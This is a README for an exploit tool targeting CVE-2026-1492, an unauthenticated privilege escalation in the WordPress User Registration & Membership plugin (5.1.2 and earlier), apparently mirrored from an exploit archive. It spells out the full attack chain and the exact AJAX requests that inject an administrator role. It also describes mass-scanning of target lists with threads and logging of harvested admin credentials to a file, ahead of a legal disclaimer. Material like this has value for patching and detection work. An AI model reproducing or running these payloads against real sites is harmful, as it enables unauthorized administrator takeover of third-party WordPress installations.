Exploit for CVE-2026-1492

## https://sploitus.com/exploit?id=CC22F87B-5CD4-5B03-BD22-6BB26E97C46B
# CVE-2026-1492
User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation via Membership Registration



  



  
  
  
  
  
  
  
  


---

## 🔴 Vulnerability Overview

### CVE-2026-1492 — Unauthenticated Privilege Escalation via Membership Registration

| Field | Details |
|---|---|
| **CVE ID** | CVE-2026-1492 |
| **Severity** | **CRITICAL** — CVSS v3.1 Score: **9.8** |
| **Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CNA** | Wordfence |
| **Affected Software** | User Registration & Membership — Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin for WordPress |
| **Affected Versions** | All versions up to and including **5.1.2** |
| **Vulnerability Type** | Improper Privilege Management — Unauthenticated Administrator Account Creation |
| **Authentication Required** | **None** |
| **CWE** | CWE-269: Improper Privilege Management |

**Description:**  
The **User Registration & Membership** plugin for WordPress is vulnerable to **Unauthenticated Privilege Escalation** in all versions up to and including **5.1.2**. The vulnerability stems from the `user_registration_membership_register_member` AJAX handler accepting a **user-supplied `role` value** during the membership registration process without enforcing any server-side allowlist or capability check. A completely unauthenticated remote attacker can craft a multi-step AJAX request chain — first registering a new user account, then submitting a malicious `register_member` call with `"role": "administrator"` injected into the `members_data` JSON payload — to silently create a fully privileged WordPress **Administrator** account. This results in complete compromise of the affected WordPress installation with zero user interaction required.

---

## 🛠️ Tool Description

This is a **Proof-of-Concept (PoC)** exploitation script implementing a **full state-aware attack chain** against WordPress sites running a vulnerable version of the **User Registration & Membership** plugin. The tool performs intelligent multi-stage exploitation with automatic discovery, plan extraction, nonce harvesting, dual-flow registration, role injection, and admin verification.

### 🔗 Full Attack Chain

```
[Discovery Phase]
  GET /membership-pricing/  →  Extract membership plan IDs
  GET /registration/        →  Extract form fields, nonces, AJAX params

        ↓

[Registration Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  → Register new user account

        ↓

[Role Injection Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator", "membership":"", ...}
  → Inject administrator role into newly created account

        ↓

[Admin Verification Phase]
  GET /wp-admin/  →  Check for admin dashboard indicators
  GET /wp-admin/plugin-install.php  →  Confirm plugin-install access

        ↓

[Fallback Override — Flow B]
  If Flow A admin check fails → repeat with fresh username/email

        ↓

[Write to Nx_admin.txt]
  Format: https://target.com/wp-login.php user: pass:
```

---

## 📋 Requirements

### System Requirements
- Python **3.8** or higher
- Linux / Windows / macOS

### Python Dependencies

```bash
pip install requests urllib3 rich
```

Or via requirements file:

```bash
pip install -r requirements.txt
```

**`requirements.txt`:**
```
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
```

---

## 🚀 Installation

```bash
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-1492.py
```

---

## ⚙️ Usage

### Basic Run

```bash
python3 CVE-2026-1492.py
```

The tool uses a fully interactive terminal interface powered by **Rich**. All parameters are prompted at runtime.

---

### 🗂️ Target List Format

Create a plain text file (default: `list.txt`) with one target per line:

```
https://target1.com
https://target2.com
http://target3.com/wordpress
```

---

### 🖥️ Interactive Prompts

```
Targets file [list.txt]: list.txt

Credentials:
  - Username prefix: random number is added per site (fresh user per target/plan/flow)
  - Email: if left empty, it will be built from the username automatically
  - Password: fixed for all sites

Username prefix (optional): Nxploited
Email (optional): 
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
```

---

## 🔬 Exploitation Deep Dive

### Step 1 — Discovery

The tool automatically discovers and parses:

| Target | What is Extracted |
|---|---|
| `/membership-pricing/` | Membership plan IDs, registration page links |
| `/registration/` | Form fields, nonces, AJAX URLs, membership radio inputs |
| `user_registration_params` JS object | `ajax_url`, `security` nonce, form metadata |
| `ur_membership_frontend_localized_data` | Membership-specific nonce, AJAX endpoint |

### Step 2 — Registration AJAX

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=
&security=
&is_membership_active=
```

### Step 3 — Role Injection AJAX (The Vulnerable Call)

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&members_data={"membership":"","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=
&security=
```

> ⚠️ The server accepts the `role` field from the client without any allowlist validation — this is the root cause of CVE-2026-1492.

### Step 4 — Admin Verification

The tool opens a fresh session, logs in with the newly created credentials, and probes:

| Endpoint | Indicator Checked |
|---|---|
| `/wp-admin/` | `adminmenu`, `wp-admin-bar`, `manage_options` |
| `/wp-admin/users.php` | `users.php` |
| `/wp-admin/plugin-install.php` | `upload-plugin`, `plugin-install-tab` |

---

## 📁 Output Files

| File | Description |
|---|---|
| `Nx_admin.txt` | ✅ Confirmed administrator accounts |
| `membership_success_log.txt` | All successful membership role-injection calls |
| `discovery_log.txt` | Full discovery data per target (nonces, IDs, fields) |
| `registration_log.txt` | All registration AJAX requests and responses |
| `membership_log.txt` | All membership AJAX requests and responses |
| `admin_check_log.txt` | Login attempts and admin verification results |

### ��� Admin Output Format

```
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
```

---

## 🖥️ Terminal Output Sample

```
╔══════════════════════════════════════════════════════════════════════╗
║   CVE-2026-1492  |  User Registration & Membership — Admin PoC      ║
║   By: Nxploited  |  GitHub: github.com/Nxploited  |  @KNxploited    ║
╚══════════════════════════════════════════════════════════════════════╝

[INFO]   https://target.com
[OK]     https://target.com  |  REG-A-OK  user:Nxploited_A_482910 mem:3
[OK]     https://target.com  |  MEM-A-OK  membership A (role=administrator payload) sent
[OK]     https://target.com  |  ADMIN-A   user:Nxploited_A_482910 pass:Nx_12999 mem:3

┌─────────────────────────────��───────────────────────────────────────────────┐
│  Target                  │  Status           │  Note                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  https://target.com      │  ✅ ADMIN-A       │  user:Nxploited_A_482910 ... │
│  https://target2.com     │  MEM-B-FAIL       │  membership not configured   │
│  https://target3.com     │  DEAD             │  connection error            │
└─────────────────────────────────────────────────────────────────────────────┘
```

---

## 📊 Status Codes Reference

| Status | Color | Meaning |
|---|---|---|
| `ADMIN-A` / `ADMIN-B` | 🟢 Green | Administrator confirmed — Flow A or B |
| `ADMIN-A-OVERRIDE` | 🟢 Green | Admin confirmed after override attempt |
| `REG-A-FAIL` / `REG-B-FAIL` | 🟡 Yellow | Registration AJAX returned failure |
| `MEM-A-FAIL` / `MEM-B-FAIL` | 🟣 Magenta | Membership role-injection call failed |
| `REG-PENDING-A/B` | ⚫ Dark | Account requires email verification or admin approval |
| `NO-MEM-ID` | ⚫ Dark | Membership plan ID not found on target |
| `NO-UR-NONCE` | ⚫ Dark | Registration nonce not extractable |
| `NO-ADMIN` | ⚫ Dark | Membership OK but admin access not confirmed |
| `TIMEOUT` | ⚫ Dark | HTTP timeout |
| `DEAD` | ⚫ Dark | Connection error — site unreachable |
| `ERROR` | 🔴 Red | Unexpected exception |

---

## 📡 Contact & Author


  By: Nxploited (Khaled Alenazi)
  
    
  
   
  
    
  


---

## ⚠️ Legal Disclaimer

> **THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY RESEARCH PURPOSES ONLY.**
>
> The author, **Nxploited (Khaled Alenazi)**, and all contributors to this project **do not condone, support, or take any responsibility** for the misuse of this tool or any damage caused by the use of this software against systems for which you do not have explicit written authorization.
>
> - ✅ **Permitted:** Use on systems you own or have been granted **explicit written permission** to test.
> - ❌ **Prohibited:** Use against any systems without prior explicit written authorization from the system owner.
>
> **Unauthorized access to computer systems is illegal and punishable under applicable laws** including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation worldwide.
>
> **By using this tool, you accept sole and full responsibility for your actions and confirm that you have the legal authority to test the targeted systems.**
>
> The author assumes **no liability** whatsoever for any direct, indirect, incidental, or consequential damages arising from the use or misuse of this software.

---


  © 2026 Nxploited (Khaled Alenazi) — For authorized security research only.